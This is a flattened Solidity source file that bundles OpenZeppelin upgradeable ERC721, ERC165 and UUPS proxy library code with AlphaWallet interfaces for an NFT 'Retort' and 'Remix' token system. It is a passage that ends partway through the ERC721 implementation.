// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // File contracts/interface/IAlchemyRemix.sol /* Mintable interface contract for providing interface to Remix Token for Retort contract of NFTs */ /* AlphaWallet 2021 */ pragma solidity ^0.8.4; //Represents exactly which token stored in the Retort the Remix token corresponds to struct RemixCommit { uint256 commitmentId; uint256 commitmentIndex; } interface IAlchemyRemix is IERC721Upgradeable { function mintUsingSequentialTokenId(address to, RemixCommit memory commitmentEntry) external returns (uint256 tokenId); } // File contracts/interface/IAlchemyRetort.sol /* Retort contract for handling offer commitment and 'transmogrification' of NFTs */ /* AlphaWallet 2021 */ pragma solidity ^0.8.4; pragma experimental ABIEncoderV2; interface IAlchemyRetort { function deliver (uint256 commitmentId, bytes memory nftAttestation) external returns (uint256 committedAmount, address payable subjectAddress); function pay (uint256 commitmentId, uint256 amount, address payable beneficiary) external; function unwrapToken (RemixCommit memory commitmentEntry, address remixOwner) external; } // File @openzeppelin/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] // solhint-disable-next-line compiler-version pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // File @openzeppelin/contracts-upgradeable/proxy/beacon/[email protected] pragma solidity ^0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeaconUpgradeable { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlotUpgradeable { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // File @openzeppelin/contracts-upgradeable/proxy/ERC1967/[email protected] pragma solidity ^0.8.2; /** * @dev This abstract contract provides getters and event emitting update functions for * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots. * * _Available since v4.1._ * * @custom:oz-upgrades-unsafe-allow delegatecall */ abstract contract ERC1967UpgradeUpgradeable is Initializable { function __ERC1967Upgrade_init() internal initializer { __ERC1967Upgrade_init_unchained(); } function __ERC1967Upgrade_init_unchained() internal initializer { } // This is the keccak-256 hash of "eip1967.proxy.rollback" subtracted by 1 bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143; /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Emitted when the implementation is upgraded. */ event Upgraded(address indexed implementation); /** * @dev Returns the current implementation address. */ function _getImplementation() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value; } /** * @dev Stores a new address in the EIP1967 implementation slot. */ function _setImplementation(address newImplementation) private { require(AddressUpgradeable.isContract(newImplementation), "ERC1967: new implementation is not a contract"); StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; } /** * @dev Perform implementation upgrade * * Emits an {Upgraded} event. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Perform implementation upgrade with additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCall(address newImplementation, bytes memory data, bool forceCall) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } } /** * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call. * * Emits an {Upgraded} event. */ function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal { address oldImplementation = _getImplementation(); // Initial upgrade and setup call _setImplementation(newImplementation); if (data.length > 0 || forceCall) { _functionDelegateCall(newImplementation, data); } // Perform rollback test if not already in progress StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT); if (!rollbackTesting.value) { // Trigger rollback using upgradeTo from the new implementation rollbackTesting.value = true; _functionDelegateCall( newImplementation, abi.encodeWithSignature( "upgradeTo(address)", oldImplementation ) ); rollbackTesting.value = false; // Check rollback was effective require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades"); // Finally reset to the new implementation and log the upgrade _setImplementation(newImplementation); emit Upgraded(newImplementation); } } /** * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that). * * Emits a {BeaconUpgraded} event. */ function _upgradeBeaconToAndCall(address newBeacon, bytes memory data, bool forceCall) internal { _setBeacon(newBeacon); emit BeaconUpgraded(newBeacon); if (data.length > 0 || forceCall) { _functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(), data); } } /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Emitted when the admin account has changed. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Returns the current admin. */ function _getAdmin() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value; } /** * @dev Stores a new address in the EIP1967 admin slot. */ function _setAdmin(address newAdmin) private { require(newAdmin != address(0), "ERC1967: new admin is the zero address"); StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin; } /** * @dev Changes the admin of the proxy. * * Emits an {AdminChanged} event. */ function _changeAdmin(address newAdmin) internal { emit AdminChanged(_getAdmin(), newAdmin); _setAdmin(newAdmin); } /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Emitted when the beacon is upgraded. */ event BeaconUpgraded(address indexed beacon); /** * @dev Returns the current beacon. */ function _getBeacon() internal view returns (address) { return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value; } /** * @dev Stores a new beacon in the EIP1967 beacon slot. */ function _setBeacon(address newBeacon) private { require( AddressUpgradeable.isContract(newBeacon), "ERC1967: new beacon is not a contract" ); require( AddressUpgradeable.isContract(IBeaconUpgradeable(newBeacon).implementation()), "ERC1967: beacon implementation is not a contract" ); StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon; } /* * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function _functionDelegateCall(address target, bytes memory data) private returns (bytes memory) { require(AddressUpgradeable.isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, "Address: low-level delegate call failed"); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/proxy/utils/[email protected] pragma solidity ^0.8.0; /** * @dev Base contract for building openzeppelin-upgrades compatible implementations for the {ERC1967Proxy}. It includes * publicly available upgrade functions that are called by the plugin and by the secure upgrade mechanism to verify * continuation of the upgradability. * * The {_authorizeUpgrade} function MUST be overridden to include access restriction to the upgrade mechanism. * * _Available since v4.1._ */ abstract contract UUPSUpgradeable is Initializable, ERC1967UpgradeUpgradeable { function __UUPSUpgradeable_init() internal initializer { __ERC1967Upgrade_init_unchained(); __UUPSUpgradeable_init_unchained(); } function __UUPSUpgradeable_init_unchained() internal initializer { } function upgradeTo(address newImplementation) external virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, bytes(""), false); } function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual { _authorizeUpgrade(newImplementation); _upgradeToAndCallSecure(newImplementation, data, true); } function _authorizeUpgrade(address newImplementation) internal virtual; uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/[email protected] pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/utils/[email protected] pragma solidity ^0.8.0; /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts-upgradeable/utils/introspection/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable { function __ERC165_init() internal initializer { __ERC165_init_unchained(); } function __ERC165_init_unchained() internal initializer { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165Upgradeable).interfaceId; } uint256[50] private __gap; } // File @openzeppelin/contracts-upgradeable/token/ERC721/[email protected] pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * 